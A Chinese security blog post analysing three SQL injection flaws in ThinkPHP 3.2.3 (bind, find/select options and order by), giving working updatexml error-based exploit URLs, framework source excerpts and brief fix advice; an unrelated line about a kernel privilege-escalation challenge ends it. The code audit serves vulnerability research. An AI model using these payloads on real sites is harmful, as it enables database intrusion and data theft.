0x01、ThinkPHP环境
ThinkPHP版本:Thinkphp3.2.3 full.zip
phpstudy
PHP 5.6
xdebug
phpstorme
0x0a、ThinkPHP 3.2.3 updatexml注入(bind注入)
漏洞利用:在函数think_filter() 处 存在过滤不完全的漏洞,造成注入漏洞。updataxml报错注入利用的流程是M->where() ->save()
利用的exp:
url
http://www.tp3.com/index.php/home/index/index?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456
一、漏洞利用复现
一、环境准备
在数据库里新建了一个user表
修改控制器代码
测试 输入username=aaaaa&password=1111,修改一下密码验证一下代码运行
二、exp测试
利用的exp
//index.php/home/index/index?username[0]=bind&username[1]=0&password=123456
//测试一个%27
index.php/home/index/index?username[0]=bind&username[1]=0%27&password=123456
//回显:
UPDATE `user` SET `password`='123456' WHERE `username` = '123456''
//明显发现存在sql注入漏洞
php
//updatexml报错注入使用
and updatexml(1,concat(0x3a,(user()),1))%23
//exp
http://www.tp3.com/index.php/home/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456
回显的页面为
分析一下源码
M()函数前面都分析过 ,分析烂了。直接运行到where() $where以数组的形式接受了username赋值给了options
update()->parseSet()、parseSet()函数在对$data传值之后$key=password 、$val="123456" is_scalar函数判断val是否为标量。标量是指int、float、string、Boolean 类型的变量。(仅仅做了一个标量检测)
php
protected function parseSet($data) {
foreach ($data as $key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$set[] = $this->parseKey($key).'='.$val[1];
}elseif(is_null($val)){
$set[] = $this->parseKey($key).'=NULL';
}elseif(is_scalar($val)) {// 过滤非标量数据
if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
$set[] = $this->parseKey($key).'='.$this->escapeString($val);
}else{
$name = count($this->bind);
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
}
}
}
return ' SET '.implode(',',$set);
}
val满足条件后执行 this->parseKey 将$set 、$name 做一个更新
val执行结束之后 $set = "password
=:0" bind:[1]->:0="123456" 记住这两个变量
接下来运行到praseWhereItem()函数 传进参数$key:"username" 、$val:数组 。取出$val数组中的第一个元素 给exp="bind"
将bind赋值给exp 判断exp是否为bind表达式-> whereStr最终的内容为:
返回到update()中 sql语句为:UPDATE user
SET password
=:0 WHERE username
= :0 and 1=(updatexml(1,concat(0x3a,(user())),1))#
分析一下update函数
php
public function update($data,$options) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
继续运行 execute函数strtr函数里使用了this->bind进行替换,之前poc中username[1]=:0起作用 。关键点继续运行到
php
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
//释放前次的查询结果
if ( !empty($this->PDOStatement) ) $this->free();
$this->executeTimes++;
N('db_write',1); // 兼容代码
// 记录开始执行时间
$this->debug(true);
$this->PDOStatement = $this->_linkID->prepare($str);
if(false === $this->PDOStatement) {
$this->error();
return false;
}
foreach ($this->bind as $key => $val) {
if(is_array($val)){
$this->PDOStatement->bindValue($key, $val[0], $val[1]);
}else{
$this->PDOStatement->bindValue($key, $val);
}
}
$this->bind = array();
try{
$result = $this->PDOStatement->execute();
// 调试结束
$this->debug(false);
if ( false === $result) {
$this->error();
return false;
} else {
$this->numRows = $this->PDOStatement->rowCount();
if(preg_match("/^s*(INSERTs+INTO|REPLACEs+INTO)s+/i", $str)) {
$this->lastInsID = $this->_linkID->lastInsertId();
}
return $this->numRows;
}
}catch (PDOException $e) {
$this->error();
return false;
}
}
queryStr的内容。这里就属于一个bind内容的替换.
sql语句为:
sql
UPDATE `user` SET `password`='123456' WHERE `username` = '123456' and 1=(updatexml(1,concat(0x3a,(user())),1))#
达到报错注入的效果,但是前提是我们开启了debug调试模式,这个时候报错注入才会将错误信息回显到前台。
防止updataxml报错注入 :1、将debug调试模式关闭,这时候信息会隐藏。需要用延时注入进行测试
二、漏洞修复:
在think_fileter()进行防御,防止用户使用bind对数据进行注入
0x0b、ThinkPHP 3.2.3 find注入漏洞
可以使用find() ,select(),delete()注入
准备index()方法 ,这种写法会照成框架级注入漏洞,数据库沿用上一个漏洞数据库。在这里不做修改。
先修改一波利用的控制器。使用I函数接受变量。改成这样还有另外一个原因,之前把I函数与find分开数据传输不进去,所以这里直接修改了。
利用的exp:
php
//绕过框架限制
id[where]=1'
//注入语句
id[tables]=users where 1 and updatexml (1,concat(0x7e,user(),0x7e),1)--+
id[where]=1 and updatexml (1,concat(0x7e,user(),0x7e),1)--+
id[alias]=where 1 and updatexml (1,concat(0x7e,user(),0x7e),1)--+
http://www.tp3.com/index.php/home/index/index?id[where]=1%20and%20updatexml%20(1,concat(0x3a,user(),0x3a),1)--+
先测试一波看看回显的变量值:id[where]=1 页面直接回显第一个数据操作
find()-->options() -->select -->buildSelectsql()
前面的M函数这些都分析烂了,就是给user一个实例化对象,也就不多bb了。直接到find(),find()做的事情也就是对$options的数组进行合并分析,自动获取 表名等等数据 并且给定总查询一条记录
```php
protected function _parseOptions($options=array()) {
if(is_array($options))
//收集$options数组 进行合并
$options = array_merge($this->options,$options);
if(!isset($options['table'])){
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
}else{
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}
// 数据表别名
if(!empty($options['alias'])) {
$options['table'] .= ' '.$options['alias'];
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}
```
做代码审计需要更全面的分析,前面说了一部分。还是慢慢的来一点点的审计代码。
php
$options = array_merge($this->options,$options);测试一波
回显看到明显的过滤不严格,
接下来的函数表达式过滤也无效
回到find()函数中,在数据合并之后$options数组被整合,方便后续数据查询,在find函数里也直接能看到select(),注入点就在这里。一定要跟进去看看
find()-->select() -->buildSelecSql() 生成了sql语句,也就是漏洞生成点,跟进去看看
进行拼接sql语句 -->buildSelectSql()。
在buildSelectSql()中-->parseSql()-->parseWhere()
对$where也就是我们exp语句进行接收
最终生成sql语句
我们对数据库操作进行分析,在parseSql()函数里明显可以看到
这里存在多种注入 除了控制where之外还可以 控制field,table等等
php
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
更改table
更改一下exp测试一下
php
id[tables]=users where 1 and updatexml (1,concat(0x7e,user(),0x7e),1)--+
http://www.tp3.com/index.php/home/index/index?id[tables]=111%20where%201%20and%20updatexml%20(1,concat(0x7e,user(),0x7e),1)--+
测试id[tables]=111 测试 看看页面回显值 明显的可以看到sql的参数被更改。这里就证明我们外部控制了tables值
拼接结束后 页面回显为SELECT * FROM '111' 页面回显table=111的数据 显然没有这个参数。
那改为我们之前使用的comment测试一波 table=comment 直接爆出数据库id=1信息
再对table修改为user并拼接我们的payload进行测试
http://www.tp3.com/index.php/home/index/index?id[table]=user%20where%201%20and%20updatexml%20(1,concat(0x7e,user(),0x7e),1)--+
漏洞成因
在buildSelectSql()中-->parseSql()-->parseWhere(),这里过滤不完全并且我们可以控制代码变量值,详细见where,table。这里都是我们外部输入进行控制的地方。也就是说table值可以控制,那么 接下来的几个也是一样的。
对于方法:
delete方法的第一个参数值可以外部注入
select方法的第一个参数值可以外部注入
find方法的第一个参数值可以外部注入
add方法的第二个参数值可以外部注入
addall方法的第二个参数值可以外部注入
save方法的第二个参数值可以外部注入
0x0c、ThinkPHP 3.2.3 order by注入漏洞
先给一波漏洞利用原因:最后拼接sql语句的时候parseOrder方法没有进行过滤造成的漏洞
修改index()控制器内容:
exp;
```php
//order by 注入
order[updatexml(1,concat(0x7e.user(),0x7e),1)]
http://www.tp3.com/index.php/home/index/index?username=admin&order[updatexml(1,concat(0x7e,user(),0x7e),1)]--+
```
直接代码调试,前面的M()实例化user对象不看,where也不是利用点,里面也没有操作。
看到find()-->parseOptions()-->select()
跟进去看看这里仅仅对$options做了一个复制操作,接下来的bind也只是简单的过滤了一下就跳过了
就直接跟进到了buildSelectSql()函数中。在跟进看看sql
这里就可以看出来 明显没有过滤掉order by语句。
为什么exp要这样写:
buildsql->parsesql->parseorder->peaseKey
在这里会直接进行凭借,所以直接造成注入。
说明 参考 https://xz.aliyun.com/t/9808 包含一个内核模块,和用户程序。由用户程序使用对应的内核模块实现从普通用户到root用户的权限升级。 代码见 https://github.com/JordyZomer/kernel_chal…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论